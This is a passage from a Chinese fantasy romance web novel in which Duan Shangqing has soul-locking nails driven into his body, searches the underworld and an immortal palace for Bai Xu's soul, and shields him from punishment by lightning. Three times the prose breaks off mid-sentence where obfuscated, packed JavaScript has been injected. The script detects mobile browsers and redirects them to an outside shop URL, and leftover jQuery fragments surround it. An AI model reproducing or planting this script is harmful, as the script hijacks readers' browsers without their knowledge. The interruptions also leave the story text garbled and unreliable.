段尚清替他答了:“是尸鬼。司天监私自炼化无数尸鬼编入祁王军队,两军于江南道厮杀,太子不敌,落下阵来,差点被尸鬼啃食,我与祁真兄将他救回,一路躲避司天监追兵,逃回瞭鹭山。” “尸鬼?”白道陵面色并不如段尚清所料的那般惊讶,只是略微思索后,如有所料般地叹了口气,“果然,那东西出现在江州并非只针对白家,虞惑这一步棋走得还真远。” 段尚清的目光在众人身上略过一番,他本以为白栩被夺舍是首要应被谈论之事,可他等了再等,竟无一人提起,实在耐不住,先声问道:“白伯伯,莫夫人,二位可知白栩被申屠鸿夺舍之事?” “小珏和佐家那小子来过,什么和我们说了。”白道陵眸子一转,直盯向段尚清,“她还说,你喜欢小栩?” 段尚清心神一震,没想到坦白之日来得这样快,不但顾不得体面,也来不及想一套像样的说辞,但他并不退缩,心一横,直接双膝跪地,额头磕地,字字郑重道:“是,尚清之心苍天可鉴,请二老成全!” 白道陵这回没来扶他,只语气幽幽地反问:“苍天可鉴?” 段尚清再一磕头:“苍天可鉴!” “那救回小栩一事,你可是义不容辞?” 听出白道陵话里的暗示,段尚清蓦然抬头,明眸乍亮,迫切地追问:“可是有方法能救回他?” 白道陵面上端着严肃,微微颔首。 段尚清那张苦了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365508|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一月的脸骤然绽出笑意,他高举手臂作揖,再重重地磕下头去:“尚清就算肝脑涂地,也在所不辞!” “站起来吧,别跪着了。”莫兰萱发话,敲定乾坤。 白道陵一看娘子松了口,眼中的笑意再也藏不住,俯身扶起段尚清:“此事待我们与你细说,你先进屋来,好好睡一觉。” 段尚清哪里等得急,恨不得立马就行动,早一日救白栩回来,他就能早一日与心上人团聚,一点觉都舍不得睡,急切道:“不,白伯伯,您现在就告诉我,我立刻就去!” 看段尚清急成这样,白道陵心里很是欣慰,他拍拍段尚清的肩,宽慰道:“稍安勿躁,东西没备齐全,还不到你的用武之地。” 段尚清忙问:“还差何物?我去寻!” 白道陵禁不住朗声大笑起来:“实在是急不得,小栩的魂不知被白虎带到了哪里去,天上地下皆有可能,不过有那白虎在,小栩不会有危险,你去找他,得先去森罗地府找,若是没有,再去九重天,你是活人,这两个地方轻易去不得,需得以七根锁魂钉,钉在你身上七处大穴锁住魂魄,不如此,恐生魂被留下,再回不到体内,你的身体可就成了孤魂野鬼的容器了。” 明白原委,段尚清终是冷静下来,他问:“那锁魂钉该去何处寻?” “昆仑山。”白道陵往北一指,“小珏和佐家小子已经去了,锁魂钉得用昆仑山石雕琢炼化,借昆仑山神的灵力庇护才能有用,不然就是七根石钉子,而且那东西没个七七四十九日不成形,你再等上一等,莫要着急。” 又是一月有余…… 若是从不知何时能救到,就算是遥遥无期也能等,可一旦定下日子,哪怕只有十天半个月,也是千般万般的难熬。 段尚清憋的双眼通红,白道陵知他心急,可眼下劝也无用,锁魂钉所需时日又不能靠日复一日的劝慰来帮他熬过,他用了些力,把段尚清拉到屋内去,强制他赶紧睡上一觉。 段尚清半推半就被赶到屋内去,接过白道陵递来的浸透热水的布巾擦干净脸,又被按着头躺好。 白道陵给他盖上被:“睡吧。” “嗯。” 段尚清拥被辗转,直至夜半更深,仍是睡意全无,他索性披衣起身,掣出长剑跃入院中,凌厉的剑风将满院树叶劈得哗哗作响。 “咳……” 花千续站在屋门口,抱臂看着院中人,一脸没睡醒的怨气:“撒泼呢?” 段尚清收了剑,面露惭愧:“心中郁闷,辗转难眠,借习剑聊以消遣。” 花千续是个心思通透之人,起床气一过,唇角立刻勾起笑意来,他冲着段尚清勾勾手指,示意他过来。 段尚清茫然地走到他身旁:“花道长?” “白栩还需个容器接纳灵魂,毕竟他的身体还在申屠鸿手里,你寻思着做个小物件吧,要人形的,最好是小人偶,到时候我在那东西里面贴个符,白栩的魂儿被找回来了,就能寄存在那小人偶里。” 花千续说着,递给段尚清一只竹篮,里头是一匹绸布和半两棉花,还有缝线和绣花针。 “半夜想人睡不着,就给他做个小人偶,这个不吵人。” 55. 七根魂钉 段尚清长这么大从未做过女红,平日里舞刀弄枪耍把式的手,拈起绣花针来,竟笨拙无比。 想来小人偶不过剪俩小人片儿,先沿着轮廓缝一半,塞满棉花,最后再缝合。 这般想当然,便这般做了,结果棉花塞了不少,线也缝得仔细,做出来的娃娃却像是受了什么委屈,扁塌塌地缩在案上,不但四肢僵硬、毫无体态,还左鼓一个包,右塌一小瘪。 他暗自懊恼,要是让白栩暂住在这样丑陋的小人偶里,实在是于心不忍。 把做失败的小人偶掏空棉花,剩个布皮儿摆在案头,以做前车之鉴,段尚清细琢磨着该怎么做出圆鼓鼓、胖乎乎,四肢灵动的小人偶,思来想去没个头绪,反倒是困意来袭,脑袋一阵阵的昏沉。 他放下针线与剪刀,回到榻上,沾枕便睡。 次日一早,他找到莫夫人,询问做棉花人偶的法子,莫夫人也未做过女红,不过比段尚清多了些见识,她道:“头和身子分开做,棉花塞实,针脚细密,也许能成形。” 段尚清道谢告退,转而去花千续的屋里要棉花,他以为棉花塞实是不计余量地塞,越多越好,一开口就要五两棉花。 花千续被他的天真逗笑:“你这是要把灵偶塞成个硬石头蛋么?” 段尚清自有耿直的理由:“莫夫人说要塞实些。” 他在这方面出奇地迟钝,不过秉持着谦卑的心态,又虚心地问:“那应是多少?” “软乎乎的最好,白栩活动起来也舒服。”花千续拣出二两棉花给他,“这些就足够了,你自己看着来。” 段尚清接过棉花,面露喜色:“阿栩的魂住进这棉花人偶里,还能动?” 花千续哼笑一声,两根细瘦的手指如戒尺般敲在段尚清的额中:“瞧不起谁?” “是尚清愚钝,花道长神通广大,有这般奇能并不算稀奇。”段尚清附和着,低下头偷偷抿起个笑。 他心想,自己定要把小人偶做得灵动又可爱,还要给它做几件小衣服,要用阿栩最喜欢的水青色绸子,等找回阿栩了,就把他打扮得漂漂亮亮的。 这般想着,心中甜蜜无比,四十九天也不算难熬。 回到屋内,坐于案前,段尚清取出一方柔软的素布,指尖轻轻比划着,裁出圆圆的脑袋、胖胖的身子和短短的四肢。 他先将脑袋细细缝合,往里面塞满蓬松的棉絮,塞得满满当当,捏在手里圆鼓饱满,很是可爱。 身子也照此法,填得敦实丰腴,一眼望去,憨态可掬。 四肢不必做得细长,短粗些才更灵动,与身子相连时,只缝上一小截,不扎得太紧,如此一来,小手小腿便能轻轻晃动,摆什么姿势都乖巧。 最后用细丝线绣上眉眼,一点一弯,便有了灵气。 他一步一步做得仔细又缓慢,耗了好些时日,一个圆滚滚、胖乎乎的棉花小偶终于落在掌心,软乎乎的,一压便弹出可爱的弧度,摸摸小脸蛋,细嫩无比,就是缺了头发,是个十分可爱的小光头。 头发该如何做? 用金丝?还是真发? 段尚清灯下静坐,指尖捏着那只圆鼓鼓的棉花小偶,极轻柔地抚摸着它的小脑袋。 偶身填得极满,胖乎乎一团,软而温热,被他的掌心捂得温热,像有了体温。 他先是摸摸竹筐里的丝线,又摸摸垂落在身前长发,末了,取过一把小梳,垂眸梳下几缕自己的发,一把剪掉。 发丝不长,却黑而软,落在掌心轻得几乎没有重量。 他用细棉线在发根轻轻束住,再拈起细针,穿上线,一针一针,将那几缕发丝牢牢缝在小偶头顶。 一束,两束,三束。 从额顶垂到鬓边,疏疏落落,不似精心修饰,倒像极了阿栩平日里的模样。 缝完,他指尖轻轻拂过那撮发丝,心中腾起丝丝缕缕的甜蜜,亦乱着缠缠绵绵的哀伤。 棉花小偶安安静静躺在掌心,一头青丝是他的,一身软绵是他的,连那一点无人知晓的心事,也一并缝了进去。 青丝相结,绾作同心,不求仙山长生,只愿岁岁相伴。 做完了小灵偶,又开始着手做衣服,一件件小衣,用云纹素绸、暗花软缎、月白绫罗、青碧织锦裁成,做的是交领短褐、圆领中衣、直裾小袍、束腰劲装,个个衣袂齐整,端方得体。 绸子都是关内集市里买的,丝线也都挑最好的用,日复一日的练手,做小衣服的手艺倒是越来越好。 虽不比绣女“花随玉指添春色,鸟逐金针长羽毛”的好手艺,但绣个小花小草不成问题。 日日穿针引线,任朝暮流转,终是熬到佐恭庭和白珏回来的那日。 他们夜里回来,披星戴月,满身风尘,七根锁魂钉被结结实实地裹在包袱里,挂在胸前。 段尚清将小灵偶交给花千续,起身去了议事厅。 说是议事厅,其实只是一间小小的木屋,连桌椅都没有,众人席地而坐。白珏将包袱拆下,铺陈在地,七根石钉掷地有声,呈灰黑色,隐隐闪着光。 钉子整体并不粗,钉尖又细又长,反倒钉帽大的很,乍一眼看,像七把巴掌大的撑开的油纸伞。 白道陵捏起一根,在段尚清膻中穴处比划,才一接近,段尚清就感觉到锁魂钉上充沛的灵力,若以此来固魂锁魄,应是极其奏效。 “长短足以。”白道陵收回手,看向祁玄,“今夜便成?” 祁玄颔首,收了锁魂钉,起身道:“待到子时。段家小子,你先随我来。” 段尚清跟着离去。祁玄带他走到一处窄小的木屋,梁上挂着黑布,地上立着一方石台,祁玄向外看了眼天,道:“躺上去。” 石台并不高,段尚清一落座,便觉冰冷无比,不过并非难忍,他和衣仰躺,仰望着头顶的黑布,这才发现这布里密密麻麻满是朱砂写的符文。 “七根锁魂钉,分别从你躯干的膻中穴、巨阙穴、中脘穴、神阙穴、气海穴、关元穴、命门穴打入,个个奇痛无比,你要忍住。”祁玄的指头点点段尚清的衣袍,“胸膛袒露出来。” 段尚清面色一红,听话地敞开。衣衫下,肩臂线条利落如刀削,胸肌微隆,腹间隐有浅棱,紧实的肌理包裹着少年人独有的蓄势待发的力道。 祁玄用指头按压穴位,极其用力,段尚清闷哼一声,不自觉地闭上眼,全身的感官聚集在那根游走在身上的手指, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365509|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每按一处,皆是剧痛,肌肉不受控制地发抖、痉挛,按过之处,一个血红的印子宛若雪地上的落梅,突兀地点缀在白皙的皮肉上。 “七根魂钉全部打入后,你的魂只有一半留在体内,另一半既能下冥界,又能上天宫,只要魂钉不掉,你随时可以回来,不过阴阳二界并非生魂肆意闯入之地,莫要惹怒了鬼差神官。” 段尚清忍着痛,咬牙应道:“是……尚清谨记。” 祁玄收回手,疼痛骤然消解,段尚清终于得以缓口气。 他睁开眼,不知何时,屋内已坐了四个人,东南西北四方位各一位,他们盘腿坐地,手搭膝上,或垂着头,或看着石台,皆不言语。 “他们四个是护法,你需得四个时辰内回来。”祁玄拈起锁魂钉,针尖对准膻中穴,锋锐的钉尖刺破皮肉,血珠冒出,阵痛袭来。 钉子才下去一半,已有挫骨削皮之痛,段尚清浑身剧烈发抖,牙齿咬得咯吱响,手指扣在石台边缘,指甲划出一道白痕。 终于第一根魂钉打下,痛感稍减,段尚清挣扎着开口问:“我该……如何进冥界?” “跟着鬼差走。”祁玄看了他一眼,又执起一根锁魂钉。 段尚清闭上眼睛。 窗外一阵风吹过,带走屋内的血腥味,待七根锁魂钉打下,屋内已没了闷哼声。 段尚清闭着眼,面色苍白地躺在台上,他身上七处大穴皆被打入一根七寸二分的石钉,台面堆积的血液顺着台角滑落,像一道道细长的血瀑布。 佐恭庭站起身,看向段尚清血肉模糊的胸膛,眉头紧蹙,眼中敬佩与心疼杂糅:“祁道人,可是成了?” 祁玄站在一旁用麻布擦干手上的血,面色冷峻地应道:“成了。” “老古板!”白道陵在屋外叫唤,“好了没?” 祁玄白了他一眼:“可以滚进来了。” “嘿——你个老混蛋。”白道陵从屋外挤进来,方才他因没有灵力,不被允许进屋来捣乱,这下终于能来看看段家小儿何般模样,一见段尚清满身是血地躺着,像死了似的,气得胡须比头高,破口大骂: “你个老不死的,给我家小尚清折磨成什么样了?你就不能下手轻点?这一台子的血,你来赔么?” 祁玄长臂一伸,揪着白道陵的耳朵就把他甩出屋外:“你有本事,你来?” “哎哎哎!娘子!救我!” 莫兰萱从坎位起身,走到屋前,扯开祁玄的手,拽着白道陵的领子把人扯到一旁去,没一会儿就听白道陵哄人的腻歪腔调传来,祁玄面露难色地关上门,与门外那对隔离开。 兰萱居然喜欢这样的。 祁玄百思不得其解。 屋内,白珏正替段尚清擦掉身上的血,小狐狸趴在段尚清脑袋边,小尾巴一下一下地扫着段尚清的胸膛。 祁真替段尚清把汗湿的发丝拢到脑后,低声嘱咐众人:“四个时辰后,不论他找没找到白栩,都得把他拉回来,否则他的魂就回不来了。” 众人点头,表示明白。 花千续攥着藏好灵符的小人偶,掰开段尚清十指绷紧的手,将它塞进去,低声呢喃道:“一定要带他回来,我们等你。” 56. 上天入地 段尚清睁开眼,周遭是一片柔和的黑,似乎笼着一层雾,朦朦胧胧地搅成一片,看不清晰。 他还躺在石台上,头顶的幡却换了颜色,闭眼前还是黑布朱纹,而今已成白布黑纹。 门外卷着阴风,涌进屋内,刮起一阵透骨的凉。 段尚清下地,跟着风的脚步,走出屋外。 天地晦暗,血月高悬,景还是那些,人却一个都不见,想来也是,若魂魄出体,自然阴阳两隔,互不相见。 他摸摸胸膛,钉子还在体内,但已无知无觉,他想起祁玄的嘱咐,锁魂钉灵力有限,自己需得在四个时辰之内回来。 但愿能找到阿栩,若是找不到,再来一次也无妨,不过就是受些皮肉之苦,比起日复一日的长痛,不如短痛来得畅快。 祁玄道人还说,要去地府得跟着阴差走,但生魂未必有黑白无常引路,段尚清略一思索后,快步走到崖边,纵身一跃,径直往山下掠去。 既然已是魂体,应没有被摔死一说。 果如所料,不需多时,他已飘飘然落于西庸关内的小镇里。。 镇内无义庄,不过偏西处有个乱葬岗,其内无数孤魂野鬼飘飘荡荡,大多是不愿走的,他在角落里等了会儿,忽听一阵铜铃声由远及近。 大路上冒出浓雾,如白烟一般飘荡,铃声响起一阵,接着是锁链拖地的声音。 雾深处,走来一黑一白两只鬼,白的身形高瘦,面色惨白,头戴白色高帽,上书“一见生财”,一手执羽扇,一手拿哭丧棒,长舌头耷拉在胸前,晃出一片红影儿。 它旁边跟着个矮粗胖,面色黝黑,神情凶悍,身着全黑官袍,头戴黑色高帽,上书“天下太平”,那锁链曳地之声,就从他那传出来。 段尚清隐匿身形,暗中看着。 无常鬼一靠近乱坟岗,就听一片乌嚷哭闹之声悠悠扬扬地传开,荡出一片森森鬼气。 锁链声重了一瞬,便无声了,只余下单薄的铃声间或响起,哭声也戛然而止,雾开始散去,段尚清意识到无常鬼将要离去,立刻抓紧脚步跟上。 雾浓到看不清路,空气里尽是烧香后的呛鼻烟味,他循着铃声越走越远,不知走了多久,脚下忽地传来踩水声。 “啪嗒。” 浅浅的水滩,堪堪没过鞋底,但越往里走水越深。 雾开始散去,露出一片血海来,远处有一座白桥,无常鬼牵着拘来的魂,已登上桥面。 段尚清疾步跟上。 这次来黄泉,不如上次热闹。 那时鬼魂众多,门口还有恶犬撕咬,哭声、嚷声震耳欲聋,而今却是一片寂静。 难道魂与肉眼所见并不相同?或许生魂与亡魂亦有差别。 此时不宜多虑,段尚清登上桥面,跟着无常鬼进了森罗殿。 殿内极高极阔,地面铺着青黑玄石,光可鉴人。 两旁鬼差肃立,个个青面獠牙,执戈握戟,静立不动。 正中央,横陈着一张巨大的红案,案上摞着黄纸告状,案后坐着一高大的黑影,高逾九丈,顶天立地,几乎撑满殿宇上下。 阎罗王的面目隐在沉沉阴影里,看不清眉眼,但他开口,声如洪钟,仿若自四面八方来。 “殿下何人?” 段尚清环视一圈,不知何时,殿内只剩下自己一人站着。 他双膝跪地,恭敬道:“广陵玄门段氏之子,段尚清。” 阎君又问:“所为何事?” 段尚清道:“来寻人。” “何人?” “江州玄门白氏之子,白栩。” 阎罗王那巍峨如山的身影微微一动,只听他道:“判官,生死簿寻来给我。” “多谢阎君相助。”段尚清伏地叩首。 “你本是生魂,擅入我森罗殿,按律本当拘押候审。念你身有昆仑神力庇佑,此番前来亦非滋事造次,我便不予追究。切记,仅此一次,下不为例。” “是,尚清谨记。” 判官捧着生死簿,行至案前,阎君翻开几页,扫了几眼,又换了一本,接连五本,都没有白栩的名字。 “他并未来地府报道。”阎罗王按下生死簿,“九重天有一处长生府,由南极长生大帝统御,世间无所归之魂,皆在那处,你或可寻到。” “多谢阎君指引。”段尚清再叩首,“尚清斗胆一问,长生府应如何去?” 阎罗王朗声笑道:“好说,我与那老翁相熟,你且先闭上眼。” 段尚清挺起腰,闭上双眼。 殿内一阵阴风涌起,呼啸间,段尚清只觉自己的身子似如蝉翼般轻盈,霎时腾飞入天,只一息便落地。 森罗殿的阴风被落在身后,迎面扑来的是沾着暖意的云雾。 睁开眼,自己正跪在一根高耸的门柱前,门柱后,齐天的白玉门上挂着匾额,上刻“长生仙府”四个大字。 段尚清站起身,腹部忽地一疼,低头看去,一根魂钉已悄然拔出三寸,钉柱上的倒刺勾出肉丝,破裂的血管汩汩向外冒血,染红了一大片衣衫。 他忍着痛将其按入,撕裂的血肉相互摩擦着,传出黏腻的声音,血珠夹杂着肉块沾在布料上,血晕染得更大了。 但此时也顾不得这许多,他推开仙府大门,迈过门槛,大步朝内走去。 玉门内很是敞亮,天高地阔,云山雾绕,不似人间。 “白栩!”段尚清唤了一声,回音层层荡开,惊扰了云雾。 无人应答。 段尚清再往里走去,身上疼痛的地方更多了,方才按下去的锁魂钉似乎被无形的力量牵引,咣当一声掉落在地,它一拔出,连带着其他六根也蠢蠢欲动,纷纷破出皮肉,朝外探头。 段尚清咬着牙一根一根按进去,掉落的那根已然摔成两半,不知还能否管用,不过有钉胜无钉,他捡起来,一半一半地塞进去。 穴位处已血肉模糊,空出个血洞,段尚清并不在乎,撕下衣袍粗糙一裹,接着向府内行去。 “白栩!” “白栩!” “白锦爻!” 呼喊一声一声荡出去,前后交杂,皆无人回应,段尚清心沉了下去,若白栩也不在此地,自己还能去哪里寻? 他急切地四下张望,长生仙府内立着许多小屋,亦是白玉所制,俨然成序。 小屋角落里,偶会探出一双眼睛,乌黑发亮,直盯着段尚清。 “喂!”有人唤他。 段尚清看过去,是个妇人,看打扮,生前并不富裕。 他走到妇人身边:“您叫我?” “你还活着吧?怎么敢来这里的!”妇人声音焦急,一个劲儿把他往外推,“要是被管打雷的天兵给瞧见了,要挨罚的。” “夫人,我是来找人的,您可看见一位身边跟着白虎的年轻人?”段尚清握住老妇人的手,“他是我最重要的人,我一定要找到他。” “来了这里,很难出去的。”老妇人伸出根手指指向天,“管的严,不让走,你就是找到他了,也带不走。” “他也还活着,我不能留他一人在这里。”段尚清言辞恳切,“夫人,您是不是见过他?” “见过。”老妇人松了口,“在西边的屋子里。” 段尚清道谢后,径直奔去。 妇人诚不欺他,果然,白虎在玉屋旁舔爪子伸懒腰,段尚清急奔过去,却疼得半路停下步子。 他捂着腹部,疼得弓下腰,半天直不起来。 又有两根锁魂钉被无形之力拔出,刺破缠布,摔在地上。 他胡乱捡起插回去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365510|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手按着伤,向白虎走去。 血从指缝里流出,滴在地上,在一片纯白中,红得刺眼,格格不入。 段尚清蹲在白虎旁:“虎兄。” 白虎睨他一眼,后爪一伸,推开身后的屋门。 段尚清看去,白栩果然在屋内,背对着屋门,跪在软垫上,手里捧着经文,正低声诵读着。 “阿栩。”段尚清唤他,白栩忽地一震,回过神来,双眸骤然睁大。 “尚清!” 他放下经文,几步奔出屋外,一把抱住段尚清。 “你终于来了!”白栩欣喜若狂,百余日的思念顷刻爆发,泪水奔涌而出,沾湿段尚清的肩头。 一缕血腥味游走至鼻尖。 白栩一怔,他低下头去,就见段尚清身上尽是血污,血滴滴溅落,淋了一地。 “怎么回事?”白栩替他捂住伤口,指腹碰到钉帽,被冰得一震,他抹开血污,“这是什么?” 段尚清全然不顾身上的痛,冲白栩笑着:“锁魂钉,若没有这七根钉子,我恐怕要陪你留在这里,再也回不去了。” 白栩满眼心疼,忧心道:“可长生府不是想走便走的,雷部众神看管此地,前些日有个生魂想私自离去,被庞元帅劈了十二鞭,差点魂飞魄散。” 段尚清敛起笑意:“长生仙府乃神魂归寂、延寿定命之地,怎会管束得如此之严?” 白栩叹道:“来了长生府,便是长生大帝的诵经仙吏,需得日夜诵经、稳固仙府道基,日复一日,管教甚严。来长生仙府的生魂,都是被雷部官吏亲自带来,受其看管,你擅闯进来,恐要挨罚,尚清,趁庞元帅尚未发现,你先离去,我自行想办法逃出去。” 段尚清一把抓住白栩的手腕,握得很紧:“你若有办法,早就逃出去了,何苦等这百余日?” 白栩语塞,垂下眼帘:“你说的不错……” “我带你出去,硬闯也要闯出去,管他牛鬼蛇神……唔……”段尚清话未说完,先被腹上的伤给打断,又一根锁魂钉被拔出半根,段尚清狠心按下去,自知不剩多少时间,拉着白栩就往外跑。 两人一虎向屋外狂奔,才行至半路,天空忽地阴云密布,电闪雷鸣,白栩抬眼看天,只见金光内,走出一青面蓝身之人,身着左红右皂袍,手持金枪奉雷印,威势赫赫,拦路于天。 “何人擅闯长生仙府?” 段尚清将白栩护至身后,应道:“晚辈广陵玄门段氏之子段尚清,特来寻江州玄门白氏之子白栩,请元帅放我二人离去,让白栩生魂归体。” 庞元帅一抖金枪,直指段尚清:“白栩乃长生仙府诵经仙吏,既受仙官,又食天禄,若是出逃,便是逃官,按律当打十大鞭,至于你,段尚清,擅闯长生仙府,按律,当打三十大鞭,你二人可认罪?” “不认!”段尚清不卑不亢,与庞元帅对质,“我来此,乃阎罗王引路,并无擅闯之意,白栩并非执意为官,乃雷部官吏强逼于此,故弃官离去并无不可。” 庞元帅难得见到这么有胆量的生魂,朗声大笑道:“好一个伶牙俐齿,若真是阎君送你至此,那雷部可不予追究,至于白栩,你受封为官在先,若要舍弃官职,当受十鞭,你可认?” 眼见不挨打不能走,白栩咬咬牙,道:“我认!” 庞元帅高举雷印,第一道天雷骤然劈下,直奔白栩胸膛。 霎时,白栩眼前爆起一片刺目白光,神魂仿佛被千万根烧红的铁针同时扎穿,筋骨寸寸欲裂,灼痛无比。 天雷之威以摧枯拉朽之势撕碎每一寸血脉,白栩惨叫一声,跌倒在地,浑身剧颤。 只一鞭,便觉整个人要被生生轰碎在这仙府雷威之下,接下来的九鞭,该如何抗下? 白栩看着天,直觉金光普照,刺目又可笑。 57. 八风不动 白栩是极怕痛的,小时候摔个屁墩,得哭天抢地地闹上一番才能消停,和马学究出去玩闹,膝盖上仅是磕破个皮,就觉得疼得好似腿断了,非要马学究把他背回家才行,甚至娘举起巴掌只是吓唬吓唬,他都觉得那巴掌已然落在脸上,被幻痛吓得痛哭流涕。 但他又是极倔的,倔起来十头牛都拉不回来,再痛也难改其意,当初他死活不当官,被娘胖揍一顿扔祠堂罚跪,那般疼痛若是让小时候的自己来经历,恐怕天崩地陷也不过如此了,可他就是一声没吭,甚至一滴泪都没掉,直熬到姐姐回来,才算是嚎哭出一把委屈。 在黄泉地狱里也是,他撑起被捅了无数个血窟窿的身躯,横在段尚清身前,替他挡下牛头马面的击锤。 皮肉裂了他不觉得疼,骨头碎了他不觉得痛,倔劲儿犯起来,血流一地也不觉得可惜。 如今这倔劲儿又犯了。 什么狗屁长生仙府,什么狗屁诵经仙吏,官又不是他想当的,想走了却要挨打,明明是天庭的洞府,竟如此凶戾不饶人! 他挣扎着爬起身,挺直了腰板,他看见许多人跪在一旁替他求情,就连前些日那位仅说了几句话、相视一笑过的老妇人也跪在一旁,泪流满面。 他们的善心围着他,却又隔岸观火地让出片空地,好让白栩能结结实实地挨打,而不伤到他们分毫。 白栩想起来,许多日前擅自出逃的那人挨鞭子的时候,自己也是围观的一员,自己心里也曾升起那么一点怜悯,可他最终没拦在那人面前,替那人扛下一鞭,或是申辩一句,他的可怜里,也藏着那么一点看热闹的恶毒。 果然痛在别人处,随意发发善心也无妨,一旦祸及己身,这一点微弱的善意便微妙地凝成了一股绳,绞在他的脖子上,将他吊在刑场上,让他看不清这些人是在为自己求情,还是在为庞元帅助威。 他吐掉一口血,仰头看天,金光烈烈下,他一瞬看清了自己的秽亵。 如果不是要挨打了,他从不会想到自己竟会生出如此恶毒的心思,这种毫无理由的恨,突如其来的怨,只一鞭便被抽出了真面目。 白栩忽地大笑起来,单薄的胸膛震颤着,连呼吸都顺畅了起来,他高举双臂,作了一揖,朗声道:“还有九鞭,劳烦元帅动手!” 庞元帅盯着白栩看了半晌,竟也跟着白栩笑了起来,他把手一震,金枪咣当一声擂出个响,颇具豪气地朝白栩一指:“好少年,很有骨气!” 白栩仰着头,眼睁睁地看着庞元帅举起雷印,乌云黑压压地沉着,风云巨变中,雷鞭汇聚成形,但他的心里不再恐惧,不再怨恨,像空潭蓄满了水,从从容容地润泽了一切干涸的棱角,完完整整地填满了所有空穴的回响,直至蓄出一潭平静的水,平静到生出一颗大慈大悲的般若心。 天雷劈下,只听一声霹雳巨响,云雾升腾,尘烟四起,白栩的身躯“嗵”地一声撞在仙府的玉门上,如一只夏蝉被拍死在树干上,风一吹,扁塌的身躯轻飘飘地落地,留下最后一声残响。 段尚清手脚并用地爬起身,冲到府门前,狼狈地跪倒在地,小心翼翼地捧起白栩的身躯。 他张张口,声音沙哑,像被抹了喉,只发出几声呛血似的呜咽。 锁魂钉七零八落地掉了一地,段尚清的身体再也裹不住先前被强塞进去的断钉,噼里啪啦地吐了一地,七寸二分的血洞汩汩地往外冒血,淋了白栩一脸。 快没时间了…… 段尚清抹干白栩脸上的血,却没等到怀中人睁眼。天上的墨云已重聚了起来,雷光在云隙间狂窜,紫电撕裂层云,轰鸣响彻云霄。 他心一横,抱着白栩把身一转,全将后背对着庞元帅,他虽比白栩年少几岁,但身形却比他高大,这副身躯尽管被锁魂钉折磨得四下漏风,却足够将白栩遮得严严实实。 庞元帅迟迟未举起雷印。 白栩终于转醒,一睁眼便对上一双泪眼婆娑的琥珀眸,滚烫的泪滴在他的脸上,划出一道炽热的长痕,泪眼中,心疼毫无遮拦,他耳中模模糊糊地传来声响,是极其哽咽的声音—— “阿栩。” “阿栩。” 沙哑到变了调。 白栩一瞬间什么都不想了,只想让这双眼睛止住眼泪,意识还未回笼时,他已伸出手,捧住段尚清的脸颊,不顾一切地吻了上去。 唇肉贴合,只尝到了对方的血味。 “别哭,我的小神仙,我最受不了你掉金豆了。”白栩扯出个笑,压低声音柔和地哄人,他抹去段尚清眼角的泪,却抹出一片儿血来,已不知是谁的。 他们的血融在了一起,痛也挨在一处,血痛交融至此,命早已剥离不开,就像皮与肉,一扯便会鲜血淋漓。 “阿栩……”段尚清已说不出别的话,只能一遍一遍地唤白栩的名字,仿若这是唯一的风筝线,只要他紧紧牵住,风筝就不会飞走。 白栩用指腹摸摸段尚清的唇,轻轻地推开他。 天上的云雷散了又聚,天亮了一瞬,又阴沉下来,庞元帅看着白栩踉踉跄跄地站起来,满身的血,脸上却还带着笑。 太多的人向滚滚天雷摇尾乞怜,他们可怜自己的命贱,只觉天地残酷,谁都不分给他一点怜悯;或是怒发冲冠,愤世嫉俗,问天问地问命,觉得一切都对他不公。 白栩却不卑不亢,只挺直腰板地站着,坦坦荡荡地看着天,看着满天神官,八风不动。 庞元帅举起雷印,雷声滚滚,天雷却没劈下。 旁的跪着的人,悄悄抬头看天,既希望雷不劈下,也期待着雷劈下。 素来铁面无私的庞元帅难得动了恻隐之心,但若饶了这小儿,他便是违旨,若是劈下去,又于心不忍。 地上已响起了议论声,比平日的诵经还要积极,庞元帅看看天,又看看手里的雷印,最后对上白栩的眼。 那双漂亮的桃花眼里没有期待,没有责怨,只有几近慈悲的平静。 庞元帅举起雷印,云雷又重聚,金光劈下,刺目的光笼罩了长生仙府。 晃人的金白中,一声撕心裂肺的“阿栩”竟盖过了雷声,白栩等了半天,什么痛都没等到,只忽地被一个血气腥腥却又无比温暖的怀抱死死箍住,紧挨过来的胸膛力道极大,几乎要将四十八根肋骨寸寸铆合。 心脏如擂鼓般轰鸣在耳,白栩下意识抬手抱住眼前这具身躯,像飞鸟回了巢,就算此刻天雷将段尚清的羽翼与自己的身躯一并劈穿,哪怕血肉凌乱,他们也再不会分开。 金光散去,什么都没发生。 九天之上,云海骤然倒卷,亿万云涛如铁墙沉压,罡风裂空,天际沉寂一瞬。 